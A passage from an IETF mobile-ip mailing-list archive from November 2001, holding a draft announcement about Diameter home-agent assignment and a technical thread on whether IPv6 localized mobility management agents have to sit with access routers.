	for <mobile-ip@sunroof.eng.sun.com>; Tue, 27 Nov 2001 14:18:06 -0800 (PST)
Received: from onion.east.sun.com (onion.East.Sun.COM [129.148.174.110])
	by eastmail2.East.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id RAA12009
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 27 Nov 2001 17:18:05 -0500 (EST)
Received: (from glass@localhost)
	by onion.east.sun.com (8.9.3+Sun/8.9.3) id RAA13073
	for mobile-ip@sunroof.eng.sun.com; Tue, 27 Nov 2001 17:18:39 -0500 (EST)
Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fARJgB1V007736
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 27 Nov 2001 11:42:12 -0800 (PST)
Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id LAA21515
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 27 Nov 2001 11:41:49 -0800 (PST)
Received: from zrc2s03g.us.nortel.com (h66s122a103n47.user.nortelnetworks.com [47.103.122.66])
	by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id MAA18554
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 27 Nov 2001 12:42:12 -0700 (MST)
Received: from smtprch2.nortel.com (erchg0k.us.nortel.com [47.113.64.104])
	by zrc2s03g.us.nortel.com (8.9.3+Sun/8.9.1) with ESMTP id NAA12527
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 27 Nov 2001 13:42:11 -0600 (CST)
Received: from zrchb200.us.nortel.com by smtprch2.nortel.com;
          Tue, 27 Nov 2001 13:34:57 -0600
Received: by zrchb200.us.nortel.com with Internet Mail Service (5.5.2653.19) 
          id <XRGVVF30>; Tue, 27 Nov 2001 13:40:46 -0600
Message-ID: <FB4781AB3309D5118DCD00508BF93CA201BDDD61@zrc2c001.us.nortel.com>
From: "Jayshree Bharatia" <jayshree@nortelnetworks.com>
To: "'mobile-ip@sunroof.eng.sun.com'" <mobile-ip@sunroof.eng.sun.com>
Subject: [mobile-ip] New Draft: draft-bharatia-aaa-opt-ha-assign-00.txt
Date: Tue, 27 Nov 2001 13:40:43 -0600
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01C1777B.672D2860"
X-Orig: <jayshree@americasm01.nt.com>
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C1777B.672D2860
Content-Type: text/plain;
	charset="iso-8859-1"

Hello,

We have submitted draft
http://search.ietf.org/internet-drafts/draft-bharatia-aaa-opt-ha-assign-00.t
xt prior to draft submission deadline for IETF-52. This draft is submitted
for AAA WG. Since it is related to Diameter for Mobile IP applications, we
are posting this draft on this list also.

In this draft, we have optimized "Allocation of Home Agent in Foreign
Network" solution currently defined in
http://search.ietf.org/internet-drafts/draft-ietf-aaa-diameter-mobileip-08.t
xt  so that instead of acting on the HA information received from the mobile
node, the FA simply forwards the request to AAAF. The AAAF determines the
possibility of having HA in the foreign network and set an appropriate flag.
Based on the local policy at AAAH, the final decision is made.

Overall, the proposed solution reduces processing at FA and couple of
messages between home and foreign AAAs in case if HA assignment in foreign
network is allowed. Please note that this solution does not have any impact
on the existing DIAMETER protocol.

Appreciate your comments on this draft.

Thanks,
Jayshree



------_=_NextPart_001_01C1777B.672D2860
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2654.89">
<TITLE>New Draft: draft-bharatia-aaa-opt-ha-assign-00.txt </TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2 FACE=3D"Arial">Hello,</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">We have submitted draft&nbsp; =
</FONT><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Arial"><A =
HREF=3D"http://search.ietf.org/internet-drafts/draft-bharatia-aaa-opt-ha=
-assign-00.txt" =
TARGET=3D"_blank">http://search.ietf.org/internet-drafts/draft-bharatia-=
aaa-opt-ha-assign-00.txt</A></FONT><FONT SIZE=3D2 FACE=3D"Arial"> prior =
to draft submission deadline for IETF-52. This draft is submitted for =
AAA WG. Since it is related to Diameter for Mobile IP applications, we =
are posting this draft on this list also.</FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Arial">In this draft, we have optimized =
&quot;Allocation of Home Agent in Foreign Network&quot; solution =
currently defined in <A =
HREF=3D"http://search.ietf.org/internet-drafts/draft-ietf-aaa-diameter-m=
obileip-08.txt" =
TARGET=3D"_blank">http://search.ietf.org/internet-drafts/draft-ietf-aaa-=
diameter-mobileip-08.txt</A>&nbsp; so that instead of acting on the HA =
information received from the mobile node, the FA simply forwards the =
request to AAAF. The AAAF determines the possibility of having HA in =
the foreign network and set an appropriate flag. Based on the local =
policy at AAAH, the final decision is made.</FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Overall, the proposed solution reduces =
processing at FA and couple of messages between home and foreign AAAs =
in case if HA assignment in foreign network is allowed. Please note =
that this solution does not have any impact on the existing DIAMETER =
protocol.</FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Appreciate your comments on this =
draft.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Thanks,</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Jayshree</FONT>
</P>
<BR>

</BODY>
</HTML>
------_=_NextPart_001_01C1777B.672D2860--


From owner-mobile-ip@sunroof.eng.sun.com  Tue Nov 27 19:16:00 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA00484
	for <mobileip-archive@odin.ietf.org>; Tue, 27 Nov 2001 19:15:59 -0500 (EST)
Received: from engmail4.Eng.Sun.COM ([129.144.134.6])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id QAA23644;
	Tue, 27 Nov 2001 16:10:48 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA00353;
	Tue, 27 Nov 2001 16:09:32 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAS08p1V009016
	for <mobile-ip-dist@sunroof.eng.sun.com>; Tue, 27 Nov 2001 16:08:52 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAS08p4m009015
	for mobile-ip-dist; Tue, 27 Nov 2001 16:08:51 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAS08k1V009008
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 27 Nov 2001 16:08:46 -0800 (PST)
Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA08689
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 27 Nov 2001 16:08:48 -0800 (PST)
Received: from ALPHA6.CC.MONASH.EDU.AU (alpha6.cc.monash.edu.au [130.194.1.25])
	by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAA12806
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 27 Nov 2001 16:08:47 -0800 (PST)
Received: from splat.its.monash.edu.au ([130.194.1.73])
 by vaxc.cc.monash.edu.au (PMDF V6.1 #39306)
 with ESMTP id <01KB8HBDAC1O8WWDYF@vaxc.cc.monash.edu.au> for
 mobile-ip@sunroof.eng.sun.com; Wed, 28 Nov 2001 11:07:31 +1100
Received: from localhost (localhost [127.0.0.1])	by splat.its.monash.edu.au
 (Postfix) with ESMTP	id EA26412C009; Wed, 28 Nov 2001 11:07:29 +1100 (EST)
Received: from eng.monash.edu.au (knuth.eng.monash.edu.au [130.194.137.189])
	by splat.its.monash.edu.au (Postfix) with ESMTP	id 2688D12C012; Wed,
 28 Nov 2001 11:07:21 +1100 (EST)
Date: Wed, 28 Nov 2001 11:11:57 +1100
From: Greg Daley <greg.daley@eng.monash.edu.au>
Subject: Re: [mobile-ip] LMM for IPv6 requirements-Movement detection
To: mobile-ip@sunroof.eng.sun.com
Cc: mat@cisco.com
Message-id: <3C042BCD.F6D122EF@eng.monash.edu.au>
Organization: Monash University
MIME-version: 1.0
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.10mobile i686)
Content-type: text/plain; charset=us-ascii
Content-transfer-encoding: 7BIT
X-Accept-Language: en
References: 
 <AF2378CBE7016247BC0FD5261F1EEB2109CED8@EXCHANGE01.domain.ecutel.com>
 <3BFC3CCA.8750CDB1@cs.ucl.ac.uk> <3BFC45D1.A8AEFE9A@iprg.nokia.com>
 <15356.18648.291849.518694@thomasm-u1.cisco.com>
 <3BFC4D16.AD4707AA@cs.ucl.ac.uk> <3BFC58DF.26C6BF80@iprg.nokia.com>
 <3BFC5C48.ED2BCA05@cs.ucl.ac.uk>
 <15364.1118.275867.497327@thomasm-u1.cisco.com>
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7BIT

	Hi Mike,

	I think that the issue of becoming an overlay network 
	is largely moot. (I.e. it is unlikely that LMM will become
	an overlay, to any greater extent than MIPv6).

	What is possibly useful is to make sure that the AR is
	in charge of LMM discovery mechanisms, to ensure that
	multiple agents aren't contending for the same access medium,
	and so that the routing functions aren't re-implemented.

	With regard to the LMM Mobility (rather than discovery) function,
	I prefer that the LMM schema doesn't tie it into the AR,
	since this breaks a lot of "good enough" solutions (Like HMIPv6)
	as you mention.

		Greg Daley
	

Michael Thomas wrote:
> 
> Theo Pagtzis writes:
>  > hmm....
>  >
>  > IMHO we must keep the AR and LMM entities fused as one (tightly
>  > coupled). The reason is that if you don't do that you introduce
>  > immediately a routing overlay...on top of ARs..routing-wise I think this
>  > is going to be non-optimal
> 
> If you're talking about the FMIP case where you
> normally use it as a helper during the handoff,
> rather than a semi-permanent pivot point (as with
> HMIP), is the sub-optimality really the principle
> concern? When I'm handing off from one AR to
> another, it only matters that it's "fast enough"
> to achieve the desire results. Being colocated
> with the AR is probably the most optimal, but it
> seems questionable whether we should preclude the
> ability to place it elsewhere. For example,
> suppose that I roam into an AR that for whatever
> reason doesn't/won't support FMIP. Should I not
> have the ability to use something else which is
> good enough to achieve fast handovers even though
> it won't achieve least cost routing? Sounds like a
> plausible scenario to me, and keeps with the
> general internet philosophy of unbundling
> services.
> 
>                 Mike
>\


From owner-mobile-ip@sunroof.eng.sun.com  Tue Nov 27 19:22:53 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA00798
	for <mobileip-archive@odin.ietf.org>; Tue, 27 Nov 2001 19:22:53 -0500 (EST)
Received: from engmail4.Eng.Sun.COM ([129.144.134.6])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id QAA27812;
	Tue, 27 Nov 2001 16:21:41 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA03566;
	Tue, 27 Nov 2001 16:21:01 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAS0KM1V009170
	for <mobile-ip-dist@sunroof.eng.sun.com>; Tue, 27 Nov 2001 16:20:22 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAS0KMW8009169
	for mobile-ip-dist; Tue, 27 Nov 2001 16:20:22 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAS0KI1V009162
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 27 Nov 2001 16:20:18 -0800 (PST)
Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA03949
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 27 Nov 2001 16:20:16 -0800 (PST)
Received: from docomolabs-usa.com (fridge.docomo-usa.com [216.98.102.228])
	by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAA18363
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 27 Nov 2001 16:20:12 -0800 (PST)
Received: from T23KEMPF (dhcp126.docomo-usa.com [172.21.96.126])
	by docomolabs-usa.com (8.11.3/8.11.3) with SMTP id fAS0KC505979;
	Tue, 27 Nov 2001 16:20:12 -0800 (PST)
Message-ID: <03e801c177a2$38388500$0e02320a@T23KEMPF>
From: "James Kempf" <kempf@docomolabs-usa.com>
To: <mobile-ip@sunroof.eng.sun.com>
Cc: <mat@cisco.com>
References:  <AF2378CBE7016247BC0FD5261F1EEB2109CED8@EXCHANGE01.domain.ecutel.com> <3BFC3CCA.8750CDB1@cs.ucl.ac.uk> <3BFC45D1.A8AEFE9A@iprg.nokia.com> <15356.18648.291849.518694@thomasm-u1.cisco.com> <3BFC4D16.AD4707AA@cs.ucl.ac.uk> <3BFC58DF.26C6BF80@iprg.nokia.com> <3BFC5C48.ED2BCA05@cs.ucl.ac.uk> <15364.1118.275867.497327@thomasm-u1.cisco.com> <3C042BCD.F6D122EF@eng.monash.edu.au>
Subject: Re: [mobile-ip] LMM for IPv6 requirements-Movement detection
Date: Tue, 27 Nov 2001 16:18:35 -0800
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

I don't understand what you mean by LMM Mobility. My understanding is
that the only issue involved in movement detection is having the mobile
node determine when it has moved from one LMM agent coverage area to
another. But you seem to have something else in mind.

            jak

----- Original Message -----
From: "Greg Daley" <greg.daley@eng.monash.edu.au>
To: <mobile-ip@sunroof.eng.sun.com>
Cc: <mat@cisco.com>
Sent: Tuesday, November 27, 2001 4:11 PM
Subject: Re: [mobile-ip] LMM for IPv6 requirements-Movement detection


> Hi Mike,
>
> I think that the issue of becoming an overlay network
> is largely moot. (I.e. it is unlikely that LMM will become
> an overlay, to any greater extent than MIPv6).
>
> What is possibly useful is to make sure that the AR is
> in charge of LMM discovery mechanisms, to ensure that
> multiple agents aren't contending for the same access medium,
> and so that the routing functions aren't re-implemented.
>
> With regard to the LMM Mobility (rather than discovery) function,
> I prefer that the LMM schema doesn't tie it into the AR,
> since this breaks a lot of "good enough" solutions (Like HMIPv6)
> as you mention.
>
> Greg Daley
>
>
> Michael Thomas wrote:
> >
> > Theo Pagtzis writes:
> >  > hmm....
> >  >
> >  > IMHO we must keep the AR and LMM entities fused as one (tightly
> >  > coupled). The reason is that if you don't do that you introduce
> >  > immediately a routing overlay...on top of ARs..routing-wise I
think this
> >  > is going to be non-optimal
> >
> > If you're talking about the FMIP case where you
> > normally use it as a helper during the handoff,
> > rather than a semi-permanent pivot point (as with
> > HMIP), is the sub-optimality really the principle
> > concern? When I'm handing off from one AR to
> > another, it only matters that it's "fast enough"
> > to achieve the desire results. Being colocated
> > with the AR is probably the most optimal, but it
> > seems questionable whether we should preclude the
> > ability to place it elsewhere. For example,
> > suppose that I roam into an AR that for whatever
> > reason doesn't/won't support FMIP. Should I not
> > have the ability to use something else which is
> > good enough to achieve fast handovers even though
> > it won't achieve least cost routing? Sounds like a
> > plausible scenario to me, and keeps with the
> > general internet philosophy of unbundling
> > services.
> >
> >                 Mike
> >\
>



From owner-mobile-ip@sunroof.eng.sun.com  Tue Nov 27 20:31:15 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA02291
	for <mobileip-archive@odin.ietf.org>; Tue, 27 Nov 2001 20:31:15 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id SAA07474;
	Tue, 27 Nov 2001 18:29:49 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id RAA06316;
	Tue, 27 Nov 2001 17:29:48 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAS1Sx1V009510
	for <mobile-ip-dist@sunroof.eng.sun.com>; Tue, 27 Nov 2001 17:28:59 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAS1Sxls009509
	for mobile-ip-dist; Tue, 27 Nov 2001 17:28:59 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAS1St1V009502
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 27 Nov 2001 17:28:55 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id RAA17790
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 27 Nov 2001 17:28:56 -0800 (PST)
Received: from sj-msg-core-4.cisco.com (sj-msg-core-4.cisco.com [171.71.163.10])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id SAA06769
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 27 Nov 2001 18:28:38 -0700 (MST)
Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27])
	by sj-msg-core-4.cisco.com (8.11.3/8.9.1) with ESMTP id fAS1Spd23268;
	Tue, 27 Nov 2001 17:28:51 -0800 (PST)
Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53])
	by mira-sjc5-7.cisco.com (Mirapoint)
	with ESMTP id AAK15117;
	Tue, 27 Nov 2001 17:28:15 -0800 (PST)
Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id RAA26170; Tue, 27 Nov 2001 17:28:50 -0800 (PST)
From: Michael Thomas <mat@cisco.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <15364.15826.183203.704897@thomasm-u1.cisco.com>
Date: Tue, 27 Nov 2001 17:28:50 -0800 (PST)
To: greg.daley@eng.monash.edu.au
Cc: mobile-ip@sunroof.eng.sun.com, mat@cisco.com
Subject: Re: [mobile-ip] LMM for IPv6 requirements-Movement detection
In-Reply-To: <3C042BCD.F6D122EF@eng.monash.edu.au>
References: <AF2378CBE7016247BC0FD5261F1EEB2109CED8@EXCHANGE01.domain.ecutel.com>
	<3BFC3CCA.8750CDB1@cs.ucl.ac.uk>
	<3BFC45D1.A8AEFE9A@iprg.nokia.com>
	<15356.18648.291849.518694@thomasm-u1.cisco.com>
	<3BFC4D16.AD4707AA@cs.ucl.ac.uk>
	<3BFC58DF.26C6BF80@iprg.nokia.com>
	<3BFC5C48.ED2BCA05@cs.ucl.ac.uk>
	<15364.1118.275867.497327@thomasm-u1.cisco.com>
	<3C042BCD.F6D122EF@eng.monash.edu.au>
X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid
X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4m<D]vnFJ>u!4x[/Z4t{V}~L]+Sk
 @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd
 bUcI'1!
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Greg Daley writes:
 > 	I think that the issue of becoming an overlay network 
 > 	is largely moot. (I.e. it is unlikely that LMM will become
 > 	an overlay, to any greater extent than MIPv6).
 > 
 > 	What is possibly useful is to make sure that the AR is
 > 	in charge of LMM discovery mechanisms, to ensure that
 > 	multiple agents aren't contending for the same access medium,
 > 	and so that the routing functions aren't re-implemented.

Well, this doesn't really address my concern which
was what happens if the AR doesn't support LMM at
all? It seems to me that the fate sharing is
between the LMM and MN, and if there's isn't
explicit linkage requiring AR/LMM to be colocated,
then an LMM would need to have some means of
advertising itself which is under *its* control.
This is particularly important since we don't want
to give point of attachment a stranglehold on the
mobile node just by virtue of its being the point
of attachment.

		Mike


From owner-mobile-ip@sunroof.eng.sun.com  Tue Nov 27 20:59:38 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA02843
	for <mobileip-archive@odin.ietf.org>; Tue, 27 Nov 2001 20:59:38 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id SAA22371;
	Tue, 27 Nov 2001 18:58:18 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id RAA11725;
	Tue, 27 Nov 2001 17:58:20 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAS1vT1V009669
	for <mobile-ip-dist@sunroof.eng.sun.com>; Tue, 27 Nov 2001 17:57:29 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAS1vSj7009668
	for mobile-ip-dist; Tue, 27 Nov 2001 17:57:28 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAS1vP1V009661
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 27 Nov 2001 17:57:25 -0800 (PST)
Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id RAA01421
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 27 Nov 2001 17:57:26 -0800 (PST)
Received: from VX23.CC.MONASH.EDU.AU (vx23.cc.monash.edu.au [130.194.1.23])
	by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id RAA28951
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 27 Nov 2001 17:57:25 -0800 (PST)
Received: from splat.its.monash.edu.au ([130.194.1.73])
 by vaxc.cc.monash.edu.au (PMDF V6.1 #39306)
 with ESMTP id <01KB8L500G3O8ZEYIF@vaxc.cc.monash.edu.au> for
 mobile-ip@sunroof.eng.sun.com; Wed, 28 Nov 2001 12:56:55 +1100
Received: from localhost (localhost [127.0.0.1])	by splat.its.monash.edu.au
 (Postfix) with ESMTP	id E5BAF12C003; Wed, 28 Nov 2001 12:56:53 +1100 (EST)
Received: from eng.monash.edu.au (knuth.eng.monash.edu.au [130.194.137.189])
	by splat.its.monash.edu.au (Postfix) with ESMTP	id EBFA112C002; Wed,
 28 Nov 2001 12:56:52 +1100 (EST)
Date: Wed, 28 Nov 2001 13:01:28 +1100
From: Greg Daley <greg.daley@eng.monash.edu.au>
Subject: Re: [mobile-ip] LMM for IPv6 requirements-Movement detection
To: mobile-ip@sunroof.eng.sun.com
Cc: mat@cisco.com, kempf@docomolabs-usa.com
Message-id: <3C044578.16CCB356@eng.monash.edu.au>
Organization: Monash University
MIME-version: 1.0
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.10mobile i686)
Content-type: text/plain; charset=us-ascii
Content-transfer-encoding: 7BIT
X-Accept-Language: en
References: 
 <AF2378CBE7016247BC0FD5261F1EEB2109CED8@EXCHANGE01.domain.ecutel.com>
 <3BFC3CCA.8750CDB1@cs.ucl.ac.uk> <3BFC45D1.A8AEFE9A@iprg.nokia.com>
 <15356.18648.291849.518694@thomasm-u1.cisco.com>
 <3BFC4D16.AD4707AA@cs.ucl.ac.uk> <3BFC58DF.26C6BF80@iprg.nokia.com>
 <3BFC5C48.ED2BCA05@cs.ucl.ac.uk>
 <15364.1118.275867.497327@thomasm-u1.cisco.com>
 <3C042BCD.F6D122EF@eng.monash.edu.au> <03e801c177a2$38388500$0e02320a@T23KEMPF>
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7BIT

James Kempf wrote:
> 
> I don't understand what you mean by LMM Mobility. My understanding is
> that the only issue involved in movement detection is having the mobile
> node determine when it has moved from one LMM agent coverage area to
> another. But you seem to have something else in mind.
> 

	Hi James,

	It depends on how tight the coupling is.
	I just don't want to get into a situation where the draft
	says something like "The LMM Agent should be co-located with the AR"

	since there are at least two functions:

*	The advertising/dynamic discovery mechanism for the LMM domain
	(which is intrinsically tied to a set of access networks)

*	The mobility management and signalling which may or may not be
insensitive
	to where the Mobile devices connect from.

	Maybe I'm just being reactionary, but since there are two functions,
	I see two agents, apart from the mobile node.

		Greg


From owner-mobile-ip@sunroof.eng.sun.com  Tue Nov 27 21:46:55 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA04409
	for <mobileip-archive@odin.ietf.org>; Tue, 27 Nov 2001 21:46:55 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id TAA13601;
	Tue, 27 Nov 2001 19:41:00 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id SAA08599;
	Tue, 27 Nov 2001 18:40:59 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
